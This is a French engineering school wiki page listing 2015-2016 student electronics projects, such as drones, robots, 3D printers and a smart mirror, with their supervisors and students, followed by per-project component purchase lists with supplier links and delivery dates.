! Projet !! Encadrants école !! Elèves
|-
| P0 [[Commande USB par micro-contrôleur]]
| Xavier Redon
| Arnaud DESHAYS
|-
| P4 [[Train de véhicules]]
| Xavier Redon
| Manuel BUENO / Maureen GILLET
|-
| P5 [[Imprimante 3D à chocolat]]
| Emmanuelle Pichonat / Alexandre Boé
| Hugo VANDENBUNDER / Sylvain VERDONCK
|-
| P6 [[Zone de sécurité pour vélo]]
| Alexandre Boé / Thomas Vantroys
| Martin CLAVERIE / Victor CHARNET
|-
| P7 [[Journée IMA]]
| Emmanuelle Pichonat / Alexandre Boé
| Michel MIKHAEL
|-
| P9 [[Tableau blanc interactif]]
| Emmanuelle Pichonat / Alexandre Boé / Thomas Vantroys
| Romuald LENTIEUL / Léo MAZIER
|-
| P10 [[Réseau de capteurs longue distance]]
| Alexandre Boé / Thomas Vantroys
| Sonia NDUWAYO / Cong CHEN
|-
| P12 [[Robots mobiles pour Arduino]]
| Emmanuelle Pichonat / Alexandre Boé
| Audrey AFFOYON / Leticia STEPHANES LIMA
|-
| P16 [[Miroir intelligent]]
| Alexandre Boé / Thomas Vantroys
| Valentin BEAUCHAMP / Guillaume VILLEMONT
|-
| P21 [[Robot autonome pour cartographie]]
| Alexandre Boé / Xavier Redon / Thomas Vantroys
| Pierre MICHEL / Alexandre DESCAMD
|-
| P23 [[Matelas connecté]]
| Nathalie Rolland / Alexandre Boé / Thomas Vantroys
| Vincent ROBIC / Morgan OBEISSART
|-
| P27 [[BIOLOID commandé par Arduino]]
| Blaise Conrard
| Quentin GRUSON / Jordan RAZAFINDRAIBE
|-
| P28 [[Imprimante 3D multi-fils]]
| Antoine Urquizar / Alexandre Boé
| Antonin CLAUS / Cédric DUVAL
|-
| P29 [[Aide anti-gaspillage alimentaire]]
| Alexandre Boé / Thomas Vantroys
| Florian GIOVANNANGELI / Pierre FITOUSSI
|-
| P30 [[Micro-robots auto-organisés]]
| Alexandre Boé / Xavier Redon
| Corentin CASIER / Julie DEBOCK
|-
| P32 [[Veilleuse enfant connecté]]
| Thomas Vantroys
| Romain RUET / Julien BIELLE
|-
| P34 [[Jeu de plateforme tangible]]
| Alexandre Boé / Thomas Vantroys
| Stéphane MAIA / Maxime SZWECHOWIEZ
|-
| P37 [[Interface de communication entre robots]]
| Vincent Coelen / Rochdi Merzouki
| Vianney PAYELLE
|-
| P38 [[Hydroponie]]
| Alexandre Boé
| Nicolas WEGRZYN
|-
| P39 [[Dirigeable publicitaire]]
| Xavier Redon
| Julien JOIGNAUX / Loïc DELECROIX
|-
| P41 [[Drone et occulus rift]]
| Jérémie Dequidt
| Geoffrey PIEKACZ / Nathan RICHEZ
|-
| P42 [[Mini-drones]]
| Xavier Redon
| Valentin TAFFIN / Alexandre CUADROS
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
| Guillaume Renault / Alexandre Boé / Xavier Redon
| Haroun ABDELALI
|-
| P44 [[Le marteau de Thor]]
| Emanuelle Pichonat
| Matthieu HERWEGH / Kevin LE VAN PHUNG
|-
| P45 [[Orchestre électronique]]
| Lucas Prieux / Xavier Redon / Thomas Vantroys
| Thomas ROJ / Joshua LETELLIER
|-
| P47 [[Commande d'une suspension magnétique]]
| Aziz Nakrachi
| Hongyu ZHANG / Weixing JIN
|-
| P50 [[Démonstrateur réseau]]
| Xavier Redon
| Charlène DACOSTA NETO
|}

== Matériel à acquérir ==

{| class="wikitable"
! Projet !! Matériel
|-
| P0 [[Commande USB par micro-contrôleur]]
|
|-
| P4 [[Train de véhicules]]
|
LEDs IR (x20), RS [http://fr.rs-online.com/web/p/led-ir/6548334/], 
Phototransistors IR (x20), RS [http://fr.rs-online.com/web/p/phototransistors/6548047/], 
Drivers moteur Pololu (x1), GoTronic [http://www.gotronic.fr/art-commande-de-2-moteurs-tb6612fng-2x1a-21716.htm], 
Drivers moteur TB6612FNG (x3), Mouser [http://www.mouser.fr/ProductDetail/Toshiba/TB6612FNGOC8EL/?qs=VMlqFFbv3sQEQqYF0HJbow%3D%3D], <br\>
Borniers à vis (x15), Farnell [http://fr.farnell.com/camdenboss/ctb0502-2/bornier-carte-a-fil-2-voies-12awg/dp/2493622?MER=en-me-sr-b-all], <br\>
Résistances 220 Ohms CMS (x6), Mouser [http://www.mouser.fr/ProductDetail/Vishay-Dale/CRCW0603220RFKEA/?qs=sGAEpiMZZMtlubZbdhIBIKySljYCMs0HAiopx1mcVY0%3d], <br\>
Résistances 470 kOhms CMS (x20), Mouser [http://www.mouser.fr/ProductDetail/Panasonic/ERJ-3GEYJ474V/?qs=sGAEpiMZZMtlubZbdhIBIDkNbKahCB4%252bXwMzav7V8qQ%3d],
<br\>
LEDs couleur (x10), RS [http://fr.rs-online.com/web/p/led/8134845/], <br\>
Fils m-m (x1 lot de 65), Farnell [http://fr.farnell.com/multicomp/mcbbj65/assortiment-de-jumper-fil-65pcs/dp/2396146], <br\>
Capas 10uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Murata-Electronics/ZRB18AR61C106ME01L/?qs=sGAEpiMZZMs0AnBnWHyRQPHsfd5klL7FP%2fi0oh%252bVTwkomqr6NYKsqQ%3d%3d], <br\>
Capas 0.1uF CMS (x10) Mouser [http://www.mouser.fr/ProductDetail/Kemet/C0603C104K4RACTU/?qs=sGAEpiMZZMs0AnBnWHyRQFqPnX0OlvcoGdtRY%252bgH1%2fs%3d], <br\>
Embases CI 40 contacts 1 rangée (x4) RS [http://fr.rs-online.com/web/p/embases-de-circuit-imprime/4232841/], <br\>
 Arduino Uno (x3) [01/02/2016], <br\>
ESP8266 (x1) [01/02/2016], <br\>
Chassis 2WD (x4) [01/02/2016], <br\>
Capteurs Ultrasons SR04 (x3) [01/02/2016], <br\>
Piles ou accumulateurs (x16 à 1.5V) [01/02/2016], <br\>
Odomètres codeurs (x8) [03/02/2016], <br\>
Boutons poussoirs (x3) [01/02/2016], <br\>
Shield Arduino + Breadboard (x3) [01/02/2016], <br\>
Colliers de serrage [01/02/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P4.ods]].
|-
| P5 [[Imprimante 3D à chocolat]]
|
Electrovanne, RS [18/04/2016] [http://fr.rs-online.com/web/p/vannes-solenoides/2551496683/], 
Capteur de température, Mouser [14/03/2016] [http://www.mouser.fr/ProductDetail/Microchip-Technology/TC1047VNBTR/?qs=sGAEpiMZZMucenltShoSnjkfRJmEyKRQimeb4yJa%2fn8%3d], 
Fil résistif, RS [29/02/2016][http://fr.rs-online.com/web/p/cable-industriel-multiconducteur/7496348/], 
Tuyau Clair, Diam.int 2,8mm, RS [29/02/2016][http://fr.rs-online.com/web/p/tuyaux-dair/7747018/], 
Capteur de pression, Mouser [14/03/2016] [http://www.mouser.fr/ProductDetail/EPCOS-TDK/B58601E3215B580/?qs=sGAEpiMZZMvhQj7WZhFIAEcnfodwemFjFFuwDryPIpY%3d], 
Tube en cuivre, Diam.int 26mm, Leroy Merlin [20/04/2016][http://www.leroymerlin.fr/v3/p/produits/tube-d-alimentation-cuivre-diam-26-x-28-mm-en-barre-de-1-m-e8989], 
Raccord en té, RS [29/02/2016][http://fr.rs-online.com/web/p/adaptateurs-tube-a-tube-en-t/7715752/], 
Ventilateurs type PC, 
Imprimante 3D, Fabricarium, 
Raccords et buses, imprimés 3D, 
Arduino UNO [04/02/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P5.ods]].
|-
| P6 [[Zone de sécurité pour vélo]]
|
 Module Laser ligne (x3), Gotronic [http://www.gotronic.fr/art-module-laser-hlm1230-19016.htm], REÇU [02/03/2016], , 
 Raspberry Pi 2 [01/02/2016], 
 Module caméra pour Raspberry Pi [01/02/2016] , 
 Dongle Bluetooth [01/02/2016] , 
 Batterie(Accus), RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], REÇU [22/02/2016], 
 Embase à connecteur USB (x4 femelle) (x4 mâle) [01/02/2016], 
 Cordon USB mâle-femelle (x4), Gotronic [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm], REÇU [02/03/2016], , 
 Téléphone sous Android [01/02/2016] , 
 Capteur de distance (ultrasons), Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm], REÇU [02/03/2016], , 
 LED neopixel*8 (x4), Mouser [http://www.mouser.fr/ProductDetail/Adafruit/1426/?qs=sGAEpiMZZMu%252bmKbOcEVhFQfi8wYXkauJZrA7E1oPdUbRYeHGihkBqQ%3d%3d], REÇU [14/03/2016], 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P6.ods]].
|-
| P7 [[Journée IMA]]
|
Plaques de plexiglas (x5) (à part Gotronic, aucun magasin ne le propose) [http://www.gotronic.fr/art-plaque-lexan-lex20-11856.htm], 
Réseau de 8 transistors ULN2803A (x4), Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/ULN2803A/?qs=sGAEpiMZZMvAvBNgSS9LqpP7ived4CP2] 
Résistance 10kohm (x75), 
Résistance 1kohm (x25), MAGASIN POLYTECH [http://melectro.polytech-lille.net/main.php?p=consultation&np=3], 
AOP 74HC574 (x15), Mouser (pas de stock en MAGASIN) [http://www.mouser.fr/ProductDetail/Texas-Instruments/SN74HC574N/?qs=sGAEpiMZZMvxP%252bvr8KwMwBnwYCvkZxeQoMRe0GOGaSg%3d], 
AOP 74HC138 (x4), MAGASIN POLYTECH , 
Condensateur 22pF (x5), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation&np=7], 
Condensateur 1uF (x25), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation], 
Condensateur 10uF (x4), Magasin Polytech [http://melectro.polytech-lille.net/main.php?p=consultation&np=4], 
Condensateur 100uF (x3), 
Reseaux de résistance 10kohm (x5), farnell [http://fr.farnell.com/vishay/vsor1601103jtf/reseau-de-resistance-10k/dp/1203468], 
Transistor (x25), farnell [http://fr.farnell.com/on-semiconductor/bc548brl1g/transistor-npn-30v-100ma-to-92/dp/2317545], 
Microcontroleur MBED (x1), RS [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7039238/], 
Supercondensateur (x4), Mouser [http://www.mouser.fr/ProductDetail/KEMET-NEC-Tokin/FG0H474ZF/?qs=sGAEpiMZZMuDCPMZUZ%252bYl5h6rep0zAk%2fMm3EuX534JE%3d], 
LED IR, (x6), RS [http://fr.rs-online.com/web/p/led-ir/8108247/], 
LED (x15), 
Mini moteur électrique (x3), gotronic [http://www.gotronic.fr/art-moteur-miniature-rm2-avec-pignon-12009.htm], 
support d'AOP (x15) (Magasin électronique POLYTECH Lille) , 
E-theremin (projet IMA4 2014-2015), 
Arduino UNO , 
Raspberry PI , 
BreadBoard , 
Dé électronique communicant(projet IMA4 2014-2015). 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P7.ods]]
|-
| P9 [[Tableau blanc interactif]]
|
Manette Wiimote [27/01/2016], 
Vidéo projecteur, 
Adaptateur Bluetooth USB [27/01/2016], 
Led infrarouge [27/01/2016], 
Raspberry Pi [03/02/2016], 
1 pile AA 1,5V, 
Bouton poussoir (x1) [10/02/2016], Mouser [http://www.mouser.fr/ProductDetail/Omron-Electronics/B3S-1000P/?qs=sGAEpiMZZMsgGjVA3toVBDH9cQtfNNTKrsn4PC4ePBA%3d]. 
clé wi-fi [23/03/2016], 
|-
| P10 [[Réseau de capteurs longue distance]]
|
50 aimants néodyne épaisseur 1,5mm, diamètre 3mm , 
connecteurs (ICSP) , 
1 embase USB , 
1 plaque MDF pour les pièces de puzzle. 
<ul>
<li>Partie Micro-contrôleur : 
micro-contrôleur de type ATMEGA328P, FARNELL [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125], 
1 quartz, FARNELL [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808], 
1 résistance 1MΩ ,FARNELL [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320], 
1 résistance 1KΩ ,FARNELL [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272], 
1 bouton poussoir (RESET), 
1 LED jaune [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]. 
</li>
<li>Partie Alimentation : 
1 capacité 1uF, FARNELL[http://fr.farnell.com/multicomp/mc0603x105k160ct/condensateur-mlcc-x5r-1uf-16v/dp/1759407], 
1 diode, FARNELL[http://fr.farnell.com/bourns/cd0603-s01575/diode-signal-150ma-100v-603/dp/1456535], 
1 LED verte, FARNELL[http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766], 
2 capacités de découplage 47uF, FARNELL[http://fr.farnell.com/panasonic-electronic-components/eeefp1e470ap/condensateur-elec-alu-47uf-25v/dp/1539485], 
1 résistance 500Ω, FARNELL[http://fr.farnell.com/multicomp/mcwr06x4993ftl/resistance-thick-film-499kohm/dp/2447379], 
1 transistor, FARNELL [http://fr.farnell.com/fairchild-semiconductor/fdn340p/transistor-mosfet-p-sot-23/dp/9846310], 
1 amplificateur, FARNELL [http://fr.farnell.com/stmicroelectronics/lm358d/ampli-op-double-puissance-cms/dp/1366578], 
1 régulateur de tension 3,3V ,FARNELL [http://fr.farnell.com/texas-instruments/lp2985-33dbvr/ldo-fixe-3-3v-0-15a-sot-23-5/dp/2395925], 
1 régulateur de tension 5V, FARNELL [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&selectedCategoryId=&categoryName=Toutes+les+cat%C3%A9gories&categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories], 
1 support de piles 9V à souder, FARNELL [http://fr.farnell.com/keystone/1023/battery-holder-dual-aaa-cell-through/dp/1888397], 
6 piles de 1,5V(AAA), 
1 pile de 9V. 
</li>
<li>Partie commune : 
6 capacités 100nF,FARNELL [http://fr.farnell.com/taiyo-yuden/emk107b7104ka-t/ceramic-capacitor-0-1uf-16v-x7r/dp/1683646], 
1 résistance 10KΩ FARNELL [http://fr.farnell.com/multicomp/mcwr06x1002ftl/res-couche-epaisse-10k-1-0-1w/dp/2447230]. 
</li>
<li>Partie radio : 
Module radio de type RF-LORA-868-SO, RS ONLINE [http://fr.rs-online.com/web/p/modules-rf-faible-consommation/9033059/], 
1 fil de cuivre pour antenne. 
</li>
</ul>
 TOUS LES COMPOSANTS ELECTRONIQUES SONT DES CMS (composants montés en surface) . 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P10.ods]].
|-
| P12 [[Robots mobiles pour Arduino]]
|
2 moteurs [03/02/2016], 
1 capteur ultrasons [29/02/16], 
1 capteur de température [09/03/16], 
1 capteur de lumière [09/03/16], 
Un boitier de 4 piles AA [09/03/16], 
4 résistances de 330 Ω [07/03/16], 
4 transistors [07/03/16], 
4 diodes [07/03/16], 
1 haut parleur [07/03/16], 
2 leds rouges [07/03/16], 
2 leds jaunes [07/03/16], 
1 breadboard [29/02/16], 
Un arduino UNO [03/02/2016], 
1 kit arduino [09/03/16]. 
Récapitulatif: [[Fichier:CommandeElectronique-2015-P12.ods]].
|-
| P16 [[Miroir intelligent]]
|
Raspberry Pi 2 [27/01/2016], 
Clé WiFi [27/01/2016], 
Câble USB-microUSB [27/01/2016], 
Carte SD [27/01/2016], 
Matrice de led tactile 40pouces. 
Câble HDMI, 
Ecran : Amazon [http://www.amazon.fr/BenQ-Ecran-PC-LED-27/dp/B00HZF2ME0/ref=sr_1_1?ie=UTF8&qid=1451984469&sr=8-1&keywords=BenQ+GL2760H#productDetails] ou RS [http://fr.rs-online.com/web/p/moniteurs/8962732/], 
Film sans tain autocollant : LeroyMerlin [http://www.leroymerlin.fr/v3/p/produits/film-adhesif-vitrage-miroir-sans-tain-reflechissant-l-100-x-l-90-cm-e1400889035#&xtmc=film_sans_tain&xtcr=2] 
|-
| P21 [[Robot autonome pour cartographie]]
|
Raspberry Pi 2 - [03/02/2016], 
Carte SD - [03/02/2016], 
Arduino UNO - [03/02/2016], 
Clef WiFi pour mesure RSSI (x3) - [03/02/2016], 
Capteur ultrason, Gotronic : [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm] - [07/03/2016], 
Servomoteur, Gotronic : [http://www.gotronic.fr/art-servomoteur-s05nf-21481.htm] - [07/03/2016], 
Pilote de moteur (x5), Mouser : [http://eu.mouser.com/ProductDetail/Freescale-Semiconductor/MC34931EK/?qs=sGAEpiMZZMvQcoNRkxSQkiOBqyFfjGe5mG1PBZLkPLE%3d] - [07/03/2016], 
Résistance 270 Ohm (x10), Mouser : [http://www.mouser.fr/ProductDetail/TE-Connectivity-Holsworthy/3521270RFT/?qs=sGAEpiMZZMu61qfTUdNhG15ROd0nQ7Wlf0zCDKWeZ5snBOgjDqh8dA%3d%3d], 
Capacité 100 uF (x5), Magasin Polytech, 
Capacité 100 nF (x5), Magasin Polytech, 
Capacité 33 nF (x5), Magasin Polytech, - [07/03/2016] 
Capacité 1 uF (x5), Magasin Polytech, 
Câble USB 2m (x1 ou x2), Gotronic : [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm] - [07/03/2016], 
Fourche optique (x2), Gotronic : [http://www.gotronic.fr/art-interrupteur-optique-gp1a57hrj00f-21001.htm] - [07/03/2016], 
Breadboard - [08/03/2016]. 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P21.ods]].
|-
| P23 [[Matelas connecté]]
|
Neopixel [4 fournis le 03/02/2016], 
RFduino [2 fournis le 03/02/2016], 
Capteur de température DS18B20 1-Wire [03/02/2016], 
Résistance 4K7 [03/02/2016], 
Module Peltier [1 fourni le 29/02/2016], 
Diffuseur thermique [1 fourni le 29/02/2016], 
Relais [1 fourni le 09/03/2016], 
Jauge de déformation [4 fournies le 23/03/2016]. 
|-
| P27 [[BIOLOID commandé par Arduino]]
|
Non inverting buffer 74HC126 [22/02/2016] 
Ardoise magnétique, 
Kit bioloid, 
Carte Arduino Uno [27/01/2016].
|-
| P28 [[Imprimante 3D multi-fils]]
|
moteur NEMA 17 x6 [http://www.gotronic.fr/art-moteur-17hm15-0904s-23049.htm], 
Driver NEMA 17 x6 [http://www.gotronic.fr/art-driver-de-moteur-pas-a-pas-a4988-1182-21718.htm], 
Engrenage x6 [http://www.banggood.com/fr/1_75MM-8MM-MK7-Extruder-Drive-Gear-Bore-For-3D-Printer-Accessories-p-1013103.html], 
Roulement x6 [http://www.gotronic.fr/art-roulement-35-15-11mm-161.htm], 
Courroie GT2 [http://www.reprap-france.com/produit/387-courroie-gt2-largeur-6mm-au-metre], 
Thermistance NTC100K [http://fr.rs-online.com/web/p/thermistances/0151243/?searchTerm=Thermistance+NTC100K&autocorrected=y&relevancy-data=636F3D3226696E3D4931384E4C446573635461786F6E6F6D794272616E645365617263685465726D32266C753D6672266D6D3D6D617463687061727469616C6D617826706D3D5E5B5C707B4C7D5C707B4E647D5C707B5A737D2D2C2F255C2E5D2B2426706F3D373426736E3D592673723D4175746F636F727265637465642673613D746865726D697374616E636520226E7463203130306B222673743D4B4559574F52445F4D554C54495F414C5048415F4E554D455249432673633D592677633D4E4F4E45267573743D546865726D697374616E6365204E54433130304B26 ] , 
Arduino mega[http://www.gotronic.fr/art-carte-arduino-mega-2560-12421.htm]. 
Récapitulatif électronique (prendre version avec commentaire " mise à jour des références")[[Fichier:CommandeElectronique-2015-P28.ods]].
|-
| P29 [[Aide anti-gaspillage alimentaire]]
|
Un Smartphone sous Android.
|-
| P30 [[Micro-robots auto-organisés]]
|
Un microcontrôleur Atmega 328P-au x2 (farnell) [http://fr.farnell.com/atmel/atmega328p-au/micro-8-bits-avr-32k-flash-32tqfp/dp/1715486?selectedCategoryId=&exaMfpn=true&categoryId=&searchRef=SearchLookAhead],<br\>
Moteur vibreur x4 (mouser) [http://www.mouser.fr/ProductDetail/Parallax/28821/?qs=sGAEpiMZZMsv3%2fxVbQiciD2XahQ7lqLvcbiE4XVIbwo%3d],<br\>
Batterie lithium ion x2 (farnell) [http://fr.farnell.com/bak/18650ca-1s-3j/batterie-lithium-ion-3-7v-2250/dp/2401852?MER=BN-2401852], <br\>
Chargeur de batterie lithium ion x2 (farnell) [http://fr.farnell.com/microchip/mcp73834-fci-un/controleur-de-charge-li-ion-li/dp/1332162],<br\>
Régulateur de tension x2 (farnell) [http://fr.farnell.com/microchip/mcp1826s-3002e-db/ic-ldo-3-0v-1a-sot-223-3/dp/1578422],<br\>
Mini usb connecteur x2 (farnell) [http://fr.farnell.com/hirose-hrs/zx62r-b-5p/connecteur-micro-usb-femelle-5/dp/2300439],<br\>
Photo transistor x16 (farnell) [http://fr.farnell.com/kingbright/l-53p3c/phototransistor-5mm-940nm/dp/2290444?selectedCategoryId=&exaMfpn=true&categoryId=&searchRef=SearchLookAhead],<br\>
LED infrarouge x8 (farnell) [http://fr.farnell.com/kingbright/l-934f3c/emetteur-ir-t-1/dp/2290438],<br\>
LED verte x2 [http://fr.farnell.com/vishay/vlmg31k1l2-gs08/led-plcc2-green/dp/1328317], <br\>
LED rouge x4 [http://fr.farnell.com/vishay/vlmk31r1s1-gs08/led-plcc2-rouge/dp/2251468] (reçu led rgb),<br\>
LED bleu x2 [http://fr.farnell.com/vishay/vlmb41p1q2-gs18/led-plcc2-bleu/dp/1648564],<br\>
Interrupteur x2,<br\>
Transistor NPN CMS x4 (lot de 5) (farnell) [http://fr.farnell.com/fairchild-semiconductor/pzta42/transistor-npn-sot-223/dp/9846654],<br\>
Diode x4 (farnell) [http://fr.farnell.com/diodes-inc/bav21w-7-f/diode-commutateur-200v-0-25w-sod123/dp/1858652],<br\>
condensateurs 1uF x18 (farnell) [http://fr.farnell.com/avx-formerly-known-as-nichicon/f931c105maa/tantalum-capacitor-1uf-16v-7-5/dp/1818580], <br\>
résistances 470 Ohm x10 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-470r-1-100-ppm-k-e3/res-couche-epaisse-470r-1-0-5w/dp/1877845],<br\>
résistances 4,7 kOhm x16 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-4k7-1-100-ppm-k-e3/res-couche-epaisse-4-7k-1-0-5w/dp/1877852RL],<br\>
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P30.ods]].
|-
| P32 [[Veilleuse enfant connecté]]
|
Raspberry Pi 2 [27/01/2016], 
Clé WiFi Wi-Pi [27/01/2016], 
Câble USB-microUSB [27/01/2016], 
Carte SD [27/01/2016], 
Câble HDMI [27/01/2016], 
Pico-projecteur ASUS S1 [27/01/2016], 
Petit microphone (farnell) [http://fr.farnell.com/pro-signal/abm-715-rc/electret-microphone-omni-leads/dp/2066501], 
Un capteur de température [Disponible a l'école], 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P32.ods]].
|-
| P34 [[Jeu de plateforme tangible]]
|
Raspberry Pi 2 [27/01/2016], 
Webcam pour Raspberry Pi 2[27/01/2016]. 
|-
| P37 [[Interface de communication entre robots]]
|
Robotino (Robocup).
|-
| P38 [[Hydroponie]]
|
Un sac de billes d'argile , 
Un pot panier , 
Un bac réservoir d'eau , 
Un caisson , 
Deux m² de laine de roche , 
Deux capteurs ne niveau , 
Quatre LEDs RGB : [http://fr.rs-online.com/web/p/led/8294310P/], 
Une pompe à eau : [http://www.aqua-store.fr/pompes-a-eau-aquarium-eau-de-mer/1990-eden-pompe-105-4010052571607.html], 
Une batterie : [http://fr.farnell.com/yuasa/y7-12/battery-lead-acid-12v-7ah/dp/2083825], 
Un MPPT : [http://fr.farnell.com/wellsee/mppt15a-12-24/chargeur-de-batterie-mppt-solar/dp/1852558], 
Un système goutte à goutte : 2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1031-jonction-4mm-tee.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1038-bouchon-90-micro-diametre-16.html],2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1030-jonction-4mm-auto-percante.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1033-couronne-tuyau-capillaire-20m-3x5mm.html], 
Un panneau solaire (disponible à l'école), 
Un plant de fraise, 
Des transistors : 1*BC548, 1*BC547, 
Des diodes : 1*1N4008, 1*1N4002, 
Des résistances : 1*1K, 1*1.2K, 1*10K, 
Une résistance de puissance WH25 8Ohms, 
Deux ventilateurs de PC, 
Un dissipateur de chaleur, 
Un Arduino Uno [01/02/2016], 
Un capteur d'humidité et de température DHT11 [22/02/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P38.ods]].
|-
| P39 [[Dirigeable publicitaire]]
|
Un arduino UNO [03/02/2016] , 
Ballon gonflable à l'hélium([http://www.ballon-helium.com//ballon-geant-chloroprene-180/ballon-chloroprene-unis-mat-1-20m-12661.html]), 
9 m3 d'hélium (lien du devis :[[https://projets-ima.polytech-lille.net:40079/mediawiki/index.php?title=Dirigeable_publicitaire#Devis_pour_l.27h.C3.A9lium]]),Air Liquide, 
Accessoires de drone HS (hélices, moteurs) [27/01/2016], 

10 x Capteurs à ultrasons, Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm] [29/02/2016], 

Alim ARDUINO 5V 5000mAh, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/] [29/02/2016], 
5 x Connecteur mâle 12 contacts - Pas 1mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/sm12b-srss-tb-lf-sn/connecteur-header-12pos-1-rangee/dp/2399360] [29/02/2016], 
10x Connecteur mâle 8 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/b8b-ph-k-s-lf-sn/embase-entree-sup-8-voies/dp/9492461] [29/02/2016], 
2x Femelle USB-B Farnell : [http://fr.farnell.com/wurth-elektronik/61400416121/embase-usb-2-0-type-b-cms/dp/1642035] [29/02/2016], 
5x Mâle USB-B à sertir RS : [http://fr.rs-online.com/web/p/connecteurs-usb-type-b/6742270/][02/03/2016], 
10x Connecteur femelle 8 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/08p-sjn/boitier-femelle-a-sertir-2mm-8/dp/2320479] [29/02/2016], 
10x Connecteur femelle 12 contacts - Pas 1mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/shr-12v-s-b/boitier-femelle-sh-12voies-1mm/dp/1830830] [29/02/2016], 
10x Connecteur mâle 5 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/b5b-ph-k-s-lf-sn/embase-entree-sup-5-voies/dp/9492445] [29/02/2016], 
10x Connecteur femelle 5 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/5p-san/boitier-femelle-a-sertir-2mm-5/dp/2320464] [29/02/2016], 
50 x Pin 2mm SJN, Farnell [http://fr.farnell.com/jst-japan-solderless-terminals/sjn-002pt-0-9/contact-femelle-a-sertir-28-24awg/dp/2320482] , 
100 x Pin 2mm SAN, Farnell [http://fr.farnell.com/jst-japan-solderless-terminals/san-002t-0-8a/contact-femelle-a-sertir-30-24awg/dp/2320470] , 
50 x Pin 1mm SHR, Farnell [http://fr.farnell.com/jst-japan-solderless-terminals/ssh-003t-p0-2/terminaison-a-sertir-serie-sh/dp/1679142] , 
Recapitulatif electronique : [[Fichier:CommandeElectronique-2015-P39.ods]]. 
Nouvelle commande électronique : [[Fichier:NouvelleCommandeElectronique-2016-P39.ods]]. 
|-
|-
| P41 [[Drone et occulus rift]]
|
Une plaque à essai pour nos tests [01/02/2016], 
fils mâle/mâle x10 [01/02/2016], 
2 Mini Webcam USB GT06051, Gotronic [18/04/2016] [http://www.gotronic.fr/art-mini-webcam-usb-gt06051-23495.htm], 
Chargeur portable, PB-A5200, Power Bank, 5000mAh, Lithium Polymère, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/] [30/03/2016], 
Un câble "série" pour raspberry [01/02/2016], 
Servo-moteur 180° [01/02/2016, achat personnel], 
2 caméras 720p pour tester le flux vidéo[09/03/2016], 
convertisseur HDMI-SVGA pour Raspberry Pi [03/02/2016]. 
|-
| P42 [[Mini-drones]]
|
Minidrones Parrot : JUMPING SUMO [01/02/2016], 
Minidrones Parrot : ROLLING SPIDER [01/02/2016].
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
|

Maxim 78M6610+LMU [http://eu.mouser.com/ProductDetail/Maxim-Integrated/78M6610+LMU-B01/?qs=sGAEpiMZZMuicgbJr93hQVd6%252bEl2PjSnPQyvC3%252bgS6U%3d], 
Quartz 20Mhz [http://fr.farnell.com/iqd-frequency-products/lfxtal003185/quartz-20mhz/dp/9712879], 
<ul>
<li>Capacités : 
1 µF x9 unités [http://fr.farnell.com/tdk/c1608x5r1h105k080ab/condensateur-mlcc-x5r-1uf-50v/dp/2211179], 
0.1uF x9 unités [http://fr.farnell.com/multicomp/mc0603f104z500ct/condensateur-mlcc-y5v-100nf-0603/dp/1759123], 
18 pF x6 unités [http://fr.farnell.com/walsin/0603n180j500ct/condensateur-mlcc-np0-18pf-50v/dp/2496890?MER=en-me-sr-b-all]. 
</li>
<li>Résistances : 
100 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/2132143/] , 
750 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/6790692/] , 
1 KOhm, [http://fr.rs-online.com/web/p/resistances-cms/2132266/] , 
10 KOhm, [http://fr.rs-online.com/web/p/resistances-cms/2132418/] , 
1 MOhm, [http://fr.rs-online.com/web/p/resistances-cms/6789932/]. 
</li>
</ul>
